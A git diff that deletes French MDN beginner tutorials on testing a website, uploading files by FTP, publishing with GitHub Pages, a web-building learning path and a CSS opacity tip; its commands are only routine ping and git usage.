Cela se complique quand on réalise que certains navigateurs ne fonctionnent que sur certains systèmes d'exploitation. Apple Safari ne fonctionne que sur iOS et Mac OS, Internet Explorer ne fonctionne que sur Windows, etc. Face à ce problème, mieux vaut tirer parti de services comme Browsershots ou Browserstack. Browsershots fournit des captures d'écran de votre site, tel qu'il est rendu dans les différents navigateurs. Browserstack vous permet de complètement contrôler des machines virtuelles afin que vous puissiez tester votre site sur les environnements les plus fréquents. Sinon, vous pouvez mettre en place votre propre machine virtuelle mais cela demandera quelques connaissances (si vous choisissez cette option, Microsoft met à disposition, sur modern.ie, une machine virtuelle prête à être utilisée).

- -

Dans tous les cas, vous devrez tester votre site sur de vrais appareils, notamment pour les appareils mobiles. La simulation mobile en est encore à ses débuts et est moins stable que la simulation d'ordinateur fixes. Bien entendu, acquérir des appareils mobiles représente un certain budget et nous vous conseillons de consulter l'initiative Open Device Lab. Vous pouvez également partager les appareils à plusieurs si vous souhaitez tester sur un maximum de plates-formes sans trop dépenser.

- -

Prochaines étapes

- - diff --git a/files/fr/apprendre/tester_le_bon_fonctionnement_de_votre_site_web/index.html b/files/fr/apprendre/tester_le_bon_fonctionnement_de_votre_site_web/index.html deleted file mode 100644 index 317135bcf5..0000000000 --- a/files/fr/apprendre/tester_le_bon_fonctionnement_de_votre_site_web/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Tester le bon fonctionnement de votre site web -slug: Apprendre/Tester_le_bon_fonctionnement_de_votre_site_web -tags: - - Beginner - - Document - - Guide - - NeedsActiveLearning - - Web - - Web Development - - WebMechanics -translation_of: Learn/Common_questions/Checking_that_your_web_site_is_working_properly ---- -
-

Dans cet article, nous présenterons les différentes étapes permettant de diagnostiquer les problèmes d'un site web ainsi que les mesures à prendre pour corriger certains de ces problèmes.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable savoir comment transférer des fichiers vers un serveur web.
Objectifs :Apprendre à diagnostiquer et à résoudre certains problèmes simples qui peuvent se produire lors du développement ou de la maintenance d'un site web.
- -

Vous avez donc publié votre site web en ligne. Bien. Mais êtes-vous sûr-e que celui-ci fonctionne correctement ?

- -

Un serveur web distant se comportera différemment d'un serveur local. Mieux vaut donc tester le bon fonctionnement d'un site web une fois qu'il est en ligne. Des problèmes « étonnants » peuvent survenir : les images peuvent ne pas apparaître, des pages ne se chargeront pas ou se chargeront lentement, etc. La plupart du temps, ce n'est pas un problème critique : il s'agit de corriger une erreur ou de paramétrer correctement la configuration du serveur hébergé.

- -

Voyons donc comment diagnostiquer et résoudre ces problèmes.

- -

Pédagogie active

- -

Il n'existe pas encore de matériau interactif pour cet article. N'hésitez pas à contribuer !

- -

Aller plus loin

- -

Tester avec votre navigateur

- -

La première chose à faire pour tester une page donnée est d'ouvrir votre navigateur et d'aller sur cette page.

- -

Où est passée l'image ?

- -

Allons sur notre site web : http://demozilla.hebergeurexemple.net/. L'image n'apparaît pas alors qu'il y aurait du y en avoir une !

- -

Oops, the ‘unicorn’ image is missing

- -

Ouvrons les outils de développement et plus particulièrement ceux qui portent sur le réseau (Outils ➤ Développement Web ➤ Réseau) puis rechargeons la page :

- -

The image has a 404 error

- -

Le problème c'est ce 404 qu'on voit en bas. 404 signifie que la ressource n'a pas été trouvée et c'est pour ça que nous ne voyons pas l'image.

- -

Les status HTTP

- -

Le serveur répond avec une message de statut à chaque fois qu'il reçoit une requête. Voici les statuts les plus communs ainsi que leur code :

- -
-
200 : OK
-
La ressource demandée a bien été transmise.
-
301 : Déplacée de façon permanente (Moved permanently)
-
La ressource a été déplacée à un nouvel emplacement. Vous ne verrez cette erreur que rarement mais elle est utile à connaître car les moteurs de recherchee utilise cette information pour mettre à jour leurs index.
-
304 : Non modifiée (Not modified)
-
La ressource n'a pas été modifiée depuis la dernière fois qu'elle a été demandée. Le navigateur affiche alors la version qu'il a dans son cache afin de répondre plus rapidement et d'économiser de la bande passante.
-
403 : Accès interdit (Forbidden)
-
Vous n'êtes pas autorisé-e à afficher cette ressource. Généralement, cela est dû à un problème de configuration (par exemple votre hébergeur ne vous a pas donné les droits sur un répertoire).
-
404 : Non trouvée (Not found)
-
Le message est plutôt explicite, nous en discuterons dans la suite de cet article.
-
500 : Erreur interne du serveur (Internal server error)
-
Une erreur s'est produite sur le serveur. Cela peut par exemple être dû à une erreur de langage côté serveur ({{Glossary("PHP")}}, .Net, etc.) ou à un problème de configuration. Généralement, mieux vaut voir avec l'équipe support de l'hébergeur.
-
503 : Service indisponible (Service unavailable)
-
Cela est généralement lié à une surcharge temporaire du serveur. Réessayez dans quelques temps.
-
- - - -

Lorsqu'on débute avec une site simple, on rencontre le plus souvent des codes 200, 304, 403, et 404.

- -

Corriger l'erreur 404

- -

Où est donc le problème ?

- -

Le list of images in our project

- -

À premièrve vue, l'image semble être au bon endroit mais l'outil d'analyse réseau affiche un code 404 renvoyé par le serveur. Le problème ici est une coquille dans le code de la page HTML licornes.png plutôt que licorne.png. En corrigeant cette erreur avec l'attribut src

- -

Deleting the ‘s’

- -

Puis en sauvegardant et en envoyant le fichier vers le serveur, on peut ensuite recharger la page dans le navigateur :

- -

The image loads corectly in the browser

- -

Et voilà, revenons sur les status {{Glossary("HTTP")}} :

- - - -

Nous avons donc corrigé l'erreur tout en en apprenant un peu plus sur les statuts HTTP !

- -

Les erreurs fréquentes

- -

Les erreurs les plus fréquentes sont les suivantes.

- -

Des coquilles dans l'adresse

- -

Dans la capture suivante, nous avons voulu accéder à http://demozilla.hebergeurexemple.net/ mais nous avons oublié un « m » :

- -

Address unreachable

- -

L'adresse est introuvable… en effet.

- -

Les erreurs 404

- -

La plupart du temps, ces erreurs sont dues à des fautes d'orthographes mais parfois cela peut être la faute d'un fichier qui n'a pas été transféré ou d'une connexion réseau instable lors du transfert. Commencez par vérifier l'orthographe des noms et des chemins de fichiers. Si le problème persiste, transférez à nouveau vos fichiers.

- -

Les erreurs JavaScript

- -

Quelqu'un (peut-être vous) peut avoir ajouté un script à la page et avoir fait une erreur. Cela n'empêchera pas la page de charger mais cela pourra avoir des conséquences selon le rôle du script.

- -

Pour voir ces erreurs, ouvrez la console (Outils ➤ Développement web ➤ Console web) and puis rechargez la page:

- -

A Javascript error is shown in the Console

- -

Ici, nous voyons comment détecter une erreur, la console affiche sur quoi porte l'erreur et éventuellement comment la résoudre (nous verrons JavaScript dans une autre série d'articles).

- -

D'autres points de contrôles

- -

Nous avons vu quelques points simples pour s'assurer qu'un site fonctionne correctement. Mais une page peut fonctionner correctement sans fonctionner « parfaitement ».

- -

Qu'en est-il de la performance ?

- -

Est-ce que la page charge suffisamment vite ? Pour le savoir, vous pouvez utiliser des outils comme webpagetest.org ou des modules complémentaires comme YSlow qui peuvent fournir des indications intéressantes :

- -

Yslow diagnostics

- -

Les notes vont de A à F. La page actuelle est pluôt légère et respecte donc la plupart des critères. On voit ici qu'il aurait été préférable d'utiliser un {{Glossary("CDN")}}. Dans notre cas, cette remarque n'est pas très critique car notre site web n'est pas un site à forte audience qui sert des milliers d'images.

- -

Est-ce que le serveur réagit suffisamment vite ?

- -

ping est une commande plutôt utile pour tester si le serveur rattaché à votre nom de domaine répond correctement :

- -
$ ping mozilla.org
-PING mozilla.org (63.245.215.20): 56 data bytes
-64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms
-64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms
-64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms
-64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms
-^C
---- mozilla.org ping statistics ---
-4 packets transmitted, 4 packets received, 0.0% packet loss
-round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms
- -

Si vous utilisez Windows, le ping s'arrêtera après quelques envois mais si vous utilisez Mac ou Linux, mémorisez le raccourci Ctrl+C pour arrêter l'envoi des pings.  Ctrl+C envoie un signal d'interruption qui arrêtera l'exécution du programme. Si vous n'utilisez pas Ctrl+C, le programme ping contactera le serveur indéfiniment.

- -

Une checklist de base

- - - -

Prochaines étapes

- -

Félicitations ! Votre site est en ligne, fonctionne correctement et tout le monde peut le visiter. C'est une belle réussite ! Vous pouvez maintenant approfondir d'autres sujets.

- - diff --git "a/files/fr/apprendre/transf\303\251rer_des_fichiers_vers_un_serveur_web/index.html" "b/files/fr/apprendre/transf\303\251rer_des_fichiers_vers_un_serveur_web/index.html" deleted file mode 100644 index 4d8d8330fa..0000000000 --- "a/files/fr/apprendre/transf\303\251rer_des_fichiers_vers_un_serveur_web/index.html" +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Transférer des fichiers vers un serveur web -slug: Apprendre/Transférer_des_fichiers_vers_un_serveur_web -tags: - - Beginner - - NeedsActiveLearning - - WebMechanics -translation_of: Learn/Common_questions/Upload_files_to_a_web_server ---- -
-

Cet article illustre comment publier votre site en ligne grâce à des outils {{Glossary("FTP")}}. 

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable comprendre ce qu'est un serveur web et comment fonctionnent les noms de domaines. Vous devriez également savoir mettre en place un environnement simple de développement web et savoir comment écrire une page web simple.
Objectifs :Apprendre à envoyer des fichiers vers un serveur en utilisant FTP.
- -

Maintenant que vous avez construit une page web, vous voulez peut être la mettre en ligne grâce à un serveur web. Dans cet article, nous verrons comment faire en utilisant {{Glossary("FTP")}}.

- -

Pédagogie active

- -

Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. Vous pouvez néanmoins contribuer.

- -

Aller plus loin

- -

Mettre les mains sur un client FTP : FireFTP

- -

Il existe de nombreux clients FTP. Dans cette démonstration, nous utiliserons FireFTP. Celui-ci est simple à installer avec Firefox car c'est un module complémentaire.

- -
-

Il existe de nombreuses autres options, voir les outils de publications : les clients FTP pour plus d'informations.

-
- -

Pour ouvrir FireFTP dans un nouvel onglet de Firefox, il existe deux méthodes :

- -
    -
  1. Menu de Firefox ➤ Developer ➤ FireFTP
    2. -
  2. Outils ➤ Développement web ➤ FireFTP
    3. -
- -

Vous devriez voir apparaître cette fenêtre :

- -

FireFTP : the interface, not connected to a server

- -

Se connecter

- -

Dans cet exemple, nous prendrons un hébergeur (la société qui hébergera notre serveur web) qui s'appellera « Hébergeur Exemple » dont les URL ressembleront à : monsiteperso.hebergeurexemple.net.

- -

Vous avez donc souscrit à un compte chez cet hébergeur et avez reçu des informations de sa part :

- -
-

Félicitations et merci d'avoir ouvert un compte chez Hébergeur exemple.

- -

Votre compte est : demozilla

- -

Votre site sera accessible à cette adresse demozilla.hebergeurexemple.net

- -

Pour publier votre site avec votre compte, connectez-vous via FTP avec les informations d'authentification suivantes :

- - -
- -

Tout d'abord, jetons un coup d'œil à http://demozilla.hebergeurexemple.net/ — pour le moment, comme vous pouvez le voir, il n'y a pas grand chose :

- -

Our demozilla personal website, seen in a browser: it's empty

- -
-

Note : Selon l'hébergeur que vous avez choisi, vous pourriez ici voir une page avec un texte ressemblant à « Ce site web est hébergé par [Nom de l'hébergeur] ».

-
- -

Pour connecter votre client FTP au serveur distant, cliquez sur le bouton « Créer un compte » de FireFTP, puis remplissez les informations telles qu'elles vous ont été fournies par votre hébergeur :

- -

FireFTP: creating an account

- -

Ici et là-bas : la vue locale et la vue distante

- -

Vous pouvez ensuite vous connecter sur ce nouveau compte :

- -

The FTP interface, once logged

- -

Examinons cet écran :

- - - -

Transférer des fichiers vers le serveur

- -

Comme nous l'avons vu plus tôt, notre hébergeur nous a indiqué que les fichiers devaient être stockés sous Public/htdocs pour être visible sur le Web. Déplaçons-nous donc dans ce dossier grâce au volet droit :

- -

Changing to the htdocs folder on the remote server

- -

Ensuite, pour transférer des fichiers de votre ordinateur vers ce dossier du serveur, il suffit de les glisser-déposer du volet gauche vers le volet droit :

- -

The files show in the remote view: they have been pushed to the server

- -

Est-ce que mes fichiers sont bien en ligne ?

- -

Jusqu'ici tout va bien, vérifions quand même en tapant http://demozilla.hebergeurexemple.net/ dans la barre d'URL du navigateur :

- -

Here we go: our website is live!

- -

Et voilà ! Notre site est en ligne !

- -

D'autres méthodes pour transférer des fichiers

- -

Le protocole FTP est l'une des méthodes les plus répandues pour publier un site web. Cependant, il en existe d'autres, en voici quelques unes :

- - - -

Prochaines étapes

- -

Félicitations, vous avez presque fini. Il reste encore une dernière étape importante : vérifier que votre site fonctionne correctement.

diff --git a/files/fr/apprendre/tutoriels/comment_construire_un_site_web/index.html b/files/fr/apprendre/tutoriels/comment_construire_un_site_web/index.html deleted file mode 100644 index c60efcffac..0000000000 --- a/files/fr/apprendre/tutoriels/comment_construire_un_site_web/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Comment construire un site web -slug: Apprendre/Tutoriels/Comment_construire_un_site_web -tags: - - Beginner - - Index - - NeedsContent -translation_of: Learn -translation_of_original: Learn/tutorial/How_to_build_a_web_site ---- -

Lorsqu'il s'agit d'apprendre la conception et le développement web, beaucoup souhaitent construire leur site web le plus rapidement possible. Pour faciliter votre progression, nous avons organisé et listé ici les connaissances minimales à acquérir.

- -

Nous vous suggérons de démarrer avec les articles de ce tableau, en allant de la gauche vers la droite pour chacune des lignes, ligne après ligne. Si vous rencontrez des difficultés à comprendre un terme, n'hésitez pas à utiliser notre glossaire.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Savoir théoriqueSavoir techniqueSavoir faire
1Commencer son projet web
- Cette article présente l'étape primordiale de n'importe quel projet : définir ce qu'on souhaite accomplir avec.		  
2Le fonctionnement d'Internet
- Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne.		  
3Comprendre les différences entre une page web, un site web, un serveur web et un moteur de rechercheQu'est-ce qu'un serveur web ?
- Dans cet article, nous verrons ce que sont les serveurs web, comment ils fonctionnent et pourquoi ils sont importants.		De quels logiciels ai-je besoin pour construire un site web ?
- Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre en ligne ou consulter un site web.
4Le fonctionnement des liens sur le Web
- Dans cet article, nous verrons ce que sont les liens et en quoi ils sont importants pour la structure du Web.		  
5Comprendre les URL et leur structure
- Cet article aborde les Uniform Resource Locators (URL) en expliquant leur rôle et leur structure.		Comprendre les noms de domaine
- Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment ils sont organisés et comment en avoir un.		 
6Concevoir une page web
- Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir en tête les modèles de mise en page les plus fréquemment utilisés.		 Publier sur le Web : combien ça coûte ?
- Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vue. Dans cet article, nous verrons les différentes dépenses et leur raison d'être.
7Les bases de la conception web (TBD) Choisir, installer et paramétrer un éditeur de texte
- Dans cet article, nous présentons les éléments principaux à connaître pour installer un éditeur de texte utilisé pour du développement web.
8  Mettre en place un environnement de travail
- Cet article indique comment mettre en place un environnement de travail et de test afin d'organiser vos pages web.
9 Écrire une simple page HTML
- Dans cet article, vous apprendrez à créer une page web simple grâce à HTML.		Ouvrir un fichier avec un navigateur web
- Dans article, nous verrons comment ouvrir un fichier avec un navigateur web.
10 Les balises HTML et leur rôle
- Cet article aborde les bases de HTML : les balises et comment les utiliser.		Transférer des fichiers vers un serveur web
- Cet article illustre comment publier votre site en ligne grâce à des outils FTP.
11   -

Tester le bon fonctionnement de votre site web
- Dans cet article, nous présenterons les différentes étapes permettant de diagnostiquer les problèmes d'un site web ainsi que les mesures à prendre pour corriger certains de ces problèmes.

-
- -

Voici les bases qu'il est nécessaire d'avoir pour construire son premier site web. Si vous souhaitez approfondir et aborder des notions plus avancées, afin de réaliser un site web professionel par exemple, vous pouvez poursuivre avec les articles du tableau qui suit :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Savoir théoriqueSavoir techniqueSavoir faire
12Que faut-il pour que les gens puissent voir mon site web ?  
13 Utiliser CSS dans une page web
- Cet article explique comment appliquer des styles CSS à vos documents HTML.		 
14Qu'est-ce que l'accessibilité ?
- Cet article aborde les concepts de base qui forment l'accessibilité pour le Web.		Les propriétés CSS et comment s'en servir
- CSS définit l'apparence d'une page web. Il utilise des règles prédéfinies à l'aide de sélecteurs et de propriétés pour appliquer différents styles aux éléments et groupes d'éléments HTML.		 
15Concevoir un site pour tous les types d'utilisateur
- Cet article aborde les concepts de bases pour vous aider à construire des sites web accessibles à tous.		 -

Mise en forme basique du texte avec CSS
- Cet article explique comment mettre en forme le texte de documents HTML en utilisant les propriétés CSS les plus communes.

- 		 
16 Utiliser des images 
17Common pitfalls to avoid in Web design (TBD)Basics of User eXperience (UX) Design (TBD)Design of navigation menus
diff --git a/files/fr/apprendre/tutoriels/index.html b/files/fr/apprendre/tutoriels/index.html deleted file mode 100644 index 407a95704e..0000000000 --- a/files/fr/apprendre/tutoriels/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Tutoriels -slug: Apprendre/Tutoriels -tags: - - Index - - TopicStub -translation_of: Learn -translation_of_original: Learn/tutorial ---- -

Connaître les technologies Web et leurs concepts est un premier pas important. Mais il arrrive un moment où la mise en pratique est nécessaire. Pour cela, nous avons dressé quelques « chemins » qui vous aideront à parcourir les technologies web et à mettre en œuvre ce que vous pouvez apprendre !

- -
-
-

Les bases

- -

Ces séries d'articles sont essentielles pour débuter dans le développement web.

- -
-
Comment construire un site web
-
Ce tutoriel illustre chacune des étapes pour construire un site web de A à Z.
-
Les bases de la sécurité informatique
-
Ce tutoriel explique les principes de base en sécurité informatique et comment les appliquer, notamment en cryptographie.
-
-
- -
-

En détails

- -

Le tutoriel qui suit aborde des notions plus avancées, destinées aux développeurs web ayant une certaine expérience.

- -
-
Construire des applications web
-
Les applications web (ou Web Apps) sont des applications qui fonctionnent dans un navigateur web. Il y a quelques notions qui leur sont propres et qu'il faut connaître avant de commencer. Tout ce dont vous avez besoin est sur MDN !
-
-
-
diff --git "a/files/fr/apprendre/tutoriels/les_bases_de_la_s\303\251curit\303\251_informatique/index.html" "b/files/fr/apprendre/tutoriels/les_bases_de_la_s\303\251curit\303\251_informatique/index.html" deleted file mode 100644 index b12ebc595d..0000000000 --- "a/files/fr/apprendre/tutoriels/les_bases_de_la_s\303\251curit\303\251_informatique/index.html" +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Les bases de la sécurité informatique -slug: Apprendre/Tutoriels/Les_bases_de_la_sécurité_informatique -tags: - - Beginner - - Landing - - Learn - - Security -translation_of: Web/Security/Information_Security_Basics ---- -

{{draft}}

- -

Comprendre les bases de la sécurité informatique vous permettra de réaliser l'importance et le rôle de la sécurité au cours du développement d'un projet. Cela vous aidera à éviter d'utiliser des logiciels superflus qui seraient dangereux et qui permettraient à des attaquants d'exploiter des faiblesses à des fins malhonnêtes. Protégez-vous et vos utilisateurs en mettant en pratique les concepts de bases liés à la sécurité.

- -

Les concepts de base

- -

Ces articles sont en cours de rédactions. Ils sont destinés à tous les lecteurs, quel que soit leur niveau de compétence sur le sujet. Ces articles ont un ordre logique et les concepts vus dépendent les uns des autres.

- -
-
1. Confidentialité, integrité et disponibilité
-
Cet article décrit les objectifs principaux, fondamentaux, en termes de sécurité.
-
2. Les vulnérabilités
-
Cet article définit les grandes catégories de vulnérabilités et évoque la présence de vulnérabilités dans tous les logiciels.
-
3. Les menaces
-
Cet article est une introduction aux principaux concepts de menaces.
-
4. Les contrôles de sécurité
-
Cet article définit les grandes catégories de contrôles et aborde leurs avantages et inconvénients respectifs.
-
5. Les risques
-
Cet articles est une introduction aux concepts de base sur les risques informatiques.
-
6. Chiffrement et déchiffrement
-
Cet article couvre les aspects fondamentaux sur le chiffrement et le déchiffrement.
-
7. Les signatures numériques
-
Cet article est une introduction aux différentes méthodes de signature numérique.
-
8. Sécurité TCP/IP
-
Cet article est un aperçu du modèle TCP/IP et des aspects de sécurités liés à SSL/TLS.
-
- -

Appliquer les concepts de base

- -

Avant de lire les articles de cette section, mieux vaut avoir lu les articles sur les concepts de base ou avoir un niveau de connaissance équivalent.

- -
-
Introduction à SSL
-
Cet article est en cours de ré-écriture.
-
SSL et TLS
-
Cet article fournit une courte introduction à SSL et TLS ainsi qu'aux algorithmes utilisés pour échanger des clés de session. Il aborde également RSA et ECC.
-
Introduction à la cryptographie asymétrique
-
Cet article est en cours de refonte.
-
- -

Plus d'informations

- -

D'autres articles de MDN, plus avancés, concernent la sécurité informatique :

- - diff --git a/files/fr/apprendre/utiliser_les_pages_github/index.html b/files/fr/apprendre/utiliser_les_pages_github/index.html deleted file mode 100644 index 4537201647..0000000000 --- a/files/fr/apprendre/utiliser_les_pages_github/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Utiliser les pages GitHub -slug: Apprendre/Utiliser_les_pages_GitHub -tags: - - Débutant - - GitHub - - Guide - - Web - - git -translation_of: Learn/Common_questions/Using_Github_pages ---- -

GitHub est un site de partage de code, sur lequel on peut publier des projets dont le code est géré avec le système de gestion de version Git. Par défaut, le système est open source, ce qui signifie que tout le monde peut consulter le code, l'utiliser pour apprendre ou l'améliorer et collaborer aux projets. Vous pouvez donc participer à d'autres projets ou, à l'inverse, des personnes peuvent collaborer à vos projets ! Dans cet article, nous verrons comment publier du contenu sur le web en utilisant les « pages GitHub » (aussi appelées gh-pages) qui sont une des fonctionnalités de GitHub.

- -

Publier du contenu

- -

GitHub est un outil très populaire et important à l'heure actuelle. Git est un logiciel de gestion de version reconnu, utilisé par de nombreuses entreprises. GitHub possède notamment une fonctionnalité : les pages GitHub. Celles-ci vous permettent de publier un site web sur Internet.

- -

Mettre en place Git et un compte GitHub

- -
    -
  1. Tout d'abord, installez Git sur votre ordinateur. Git est le logiciel de gestion de version sur lequel fonctionne GitHub.
    2. -
  2. Ensuite, inscrivez-vous sur GitHub. La procédure est plutôt simple.
    3. -
  3. Une fois inscrit, connectez vous à github.com avec votre nom d'utilisateur et votre mot de passe.
    4. -
- -
-

Note : Attention, le site GitHub existe uniquement en anglais. Bien que les étapes mentionnées ici soient relativement simples, il est préférable d'avoir quelques bases d'anglais afin de poursuivre sereinement (nul besoin de connaître Shakespeare ;)). Si vous n'êtes pas à l'aise, rassurez-vous, il existe de nombreux tutoriels en français sur le Web.

-
- -

Préparer le code afin de l'envoyer vers GitHub

- -

Vous pouvez utiliser des dépôts GitHub pour stocker n'importe quel projet logiciel. Mais pour utiliser les pages GitHub et publier un site web (ce qui nous intéresse ici), votre projet devra être structuré comme un site web classique et notamment avec un fichier d'entrée intitulé index.html.

- -

Il faut aussi que le répertoire où le code est stocké soit un « dépôt » Git sur votre ordinateur. Autrement dit, on indique qu'on utilise Git pour gérer les différentes versions des fichiers qui seront stockés dans ce dossier. Pour initialiser un dépôt Git, on suivra ces étapes :

- -
    -
  1. Utilisez la ligne de commande pour vous placer dans le répertoire de votre site web (dans cet article, ce répertoire sera appelé test-site, remplacez ce nom avec celui de votre répertoire). Pour ce faire, on utilisera la commande cd (qui signifie « change directory » ou « changer de répertoire/dossier » en français). Par exemple, si votre répertoire se situe sur votre bureau et se nomme test-site, vous pourrez taper : - - 
    cd Bureau/test-site
    -
    2. -
  2. Lorsque vous êtes dans le répertoire de votre site web, utilisez la commande suivante. Celle-ci indiquera à Git que le répertoire doit être considéré comme un dépôt Git : - 
    git init
    -
    3. -
- -

Un aparté sur les interfaces en ligne de commande

- -

La meilleure façon d'envoyer votre code sur GitHub est d'utiliser l'interface en ligne de commande de votre ordinateur. La ligne de commande est une fenêtre où on saisit des commandes au clavier pour créer des fichiers, lancer des programmes, plutôt que de cliquer avec la souris en utilisant une interface graphique. Une interface en ligne de commande ressemblera à quelque chose comme ceci :

- -

Interface en ligne de commande

- -
-

Note : Il existe également des interfaces graphiques pour Git qui permettent de faire la même chose. N'hésitez pas à les utiliser si vous ne vous sentez pas à l'aise avec la ligne de commande.

-
- -

Chaque système d'exploitation possède sa propre interface en ligne de commande  :

- - - -

La ligne de commande peut sembler un peu effrayante au début mais ne vous inquiétez pas, vous pourrez apprendre les bases très rapidement. En utilisant la ligne de commande vous indiquez à l'ordinateur que vous souhaitez effectuer telle action, plutôt que de le faire à la souris, vous l'indiquez au clavier en saisissant la commande voulue puis en appuyant sur Entrée.

- -

Créer un dépôt sur GitHub pour votre code

- -
    -
  1. Ensuite, vous aurez besoin de créer un dépôt GitHub sur lequel envoyer les fichiers de votre site. Quand vous êtes connecté-e sur GitHub, cliquez sur l'icône Plus (+) en haut à droite de la page d'accueil puis sélectionner l'option New Repository (qui signifie « Créer un nouveau dépôt »).
    2. -
  2. Sur la page qui s'affiche, dans le champ « Repository name », entrez un nom pour votre dépôt. Vous pouvez par exemple saisir mon-premier-depot.
    3. -
  3. Il y a également un champ qui décrit le projet qui sera placé dans ce dépôt. Votre écran devrait ressembler à quelque chose comme :
    -
    4. -
  4. Ensuite, cliquez sur « Create repository » (pour créer le dépôt). Vous arrieverez alors sur la page suivante :
    -
    5. -
- -

Envoyer vos fichiers vers GitHub

- -
    -
  1. Sur cette page, une section vous intéresse particulièrement : « …or push an existing repository from the command line » (ce qui signifie « ou pousser un dépôt existant grâce à la ligne de commande »). Vous devrez voir deux lignes de codes sous cette section. Copiez la première ligne et collez la dans votre interface en ligne de commande puis tapez sur Entrée. La commande devrait ressembler à : - - 
    git remote add origin https://github.com/chrisdavidmills/mon-premier-depot.git
    -
    2. -
  2. Ensuite, saisissez ces deux commandes en tapant sur la touche Entrée après chacune. Ces commandes permettent d'indiquer à Git qu'il doit gérer tous les fichiers du dossier et d'enregistrer cette action. - 
    git add --all
-git commit -m 'ajout des fichiers au dépôt'
    -
    3. -
  3. Enfin, envoyez le code sur GitHub en utilisant la seconde commande affichée sur la section de la page GitHub : - 
    git push -u origin master
    -
    4. -
  4. Votre code est publié sur GitHub. Pour avoir une page GitHub, vous devrez créer une branche gh-pages sur votre dépôt. Actualisez la page web de votre dépôt, vous devriez obtenir une page semblable à celle présentée ci-dessous. Ensuite, cliquez que le bouton « Branch: master » (GitHub indique que vous êtes sur la branche master de votre dépôt). Dans la liste qui s'affiche, saisissez le texte gh-pages puis cliquez sur Create branch: gh-pages (« créer la branche intitulée gh-pages »). Cela créera une nouvelle branche pour votre dépôt, cette branche s'appellera gh-pages et sera publiée à un endroit spécifique. L'URL du site sera nom-utilisateur.github.io/nom-du-depot. Dans mon exemple, l'URL est donc https://chrisdavidmills.github.io/my-repository. La page qui est affichée à cette URL est la page index.html contenue dans le dépôt.
    -
    5. -
  5. Utilisez votre navigateur préféré pour visiter cette URL. Voici votre site ! Partagez le lien avec vos amis pour leur montrer :)
    6. -
- -
-

Note : Si vous êtes bloqué-e, n'hésitez pas à utiliser la page d'aide GitHub sur les pages GitHub qui est une excellente ressource (en anglais).

-
- -

Aller plus loin avec Git et GitHub

- -

Si vous souhaitez modifier votre site et le mettre à jour sur GitHub, modifiez les fichiers comme vous le faisiez auparavant puis utilisez les commandes suivantes pour indiquer les changements à Git et les envoyer sur GitHub (n'oubliez pas d'appuyer sur Entrée entre chaque commande) :

- -
git add --all
-git commit -m 'Un autre commit'
-git push
- -

Vous pouvez utiliser un autre message que « un autre commit »  pour indiquer les changements que vous avez effectués.

- -

Dans cet article, nous n'avons fait qu'effleurer la surface de Git. Pour en savoir plus, n'hésitez pas à utiliser les pages d'aide de GitHub (en anglais) ou encore le manuel Pro Git (en français).

diff --git a/files/fr/astuces_css/couleurs_et_fonds/index.html b/files/fr/astuces_css/couleurs_et_fonds/index.html deleted file mode 100644 index 3880593692..0000000000 --- a/files/fr/astuces_css/couleurs_et_fonds/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Couleurs et fonds -slug: Astuces_CSS/Couleurs_et_fonds -tags: - - CSS -translation_of: Web/CSS/color_value -translation_of_original: Useful_CSS_tips/Color_and_Background ---- -

-

-

Fond translucide

-

Même si opacity (translucidité) est une propriété de style définie dans la spécification CSS3, module CSS3 Color, chapitre 3.2, des navigateurs la gèrent déjà. D'après la spécification, l'opacité peut être considérée conceptuellement comme une opération de post-traitement, par conséquent le niveau de transparence choisi est appliqué à tout le contenu. -

Cela signifie que si vous avez un DIV contenant du texte, il est impossible d'avoir du texte opaque sur un fond translucide, car si vous définissez la propriété opacity pour l'élément DIV, tout son contenu hérite de la transparence, et il est impossible de l'enlever… par des moyens normaux. -

Si vous essayez cet exemple de code, vous découvrirez que texteopaque n'est pas opaque, il a hérité de l'attribut opacity de son parent et les redéfinitions de style sont ignorées pour la raison donnée ci-dessus. -

-
<div id="conteneur">
-    <div id="texteopaque">
-      Ceci est un texte normal
-      sur un fond translucide
-    </div>
-</div>
-
-
#conteneur {
-   background-color: #ffffff;  /* le fond                 */
-   filter:alpha(opacity=50);   /* Internet Explorer 6     */
-   -moz-opacity:0.5;           /* Mozilla 1.6 et infér.   */
-   opacity: 0.5;               /* CSS3 et Mozilla récents */
-}
-#texteopaque {
-   filter:alpha(opacity=100);  /* ignoré */
-   -moz-opacity:1.0;           /* ignoré */
-   opacity: 1.0;               /* ignoré */
-}
-
-

En réalité, deux manières d'obtenir cet effet existent et fonctionnent dans plusieurs navigateurs (prennent en compte le comportement exotique d'Internet Explorer) : -

- - -

Hiérarchie réarrangée

-

Comme suggéré précédemment, cette astuce est basée sur un autre arrangement de la hiérarchie des éléments DIV. Comme tous les descendants du DIV translucide héritent de l'opacité de leurs parents, le truc est d'utiliser deux DIV séparés pour le fond transparent et le texte opaque, placés au même niveau de la hiérarchie et non l'un dans l'autre. Les deux feront partie d'un DIV parent à positionner de manière absolue ou flottant. -

-
<div id="conteneur">
-
-   <div id="texteopaque">
-      Ceci est un texte normal
-      sur un fond translucide
-   </div>
-
-   <div id="fondtranslucide">
-
-   </div>
-
-</div>
-
-

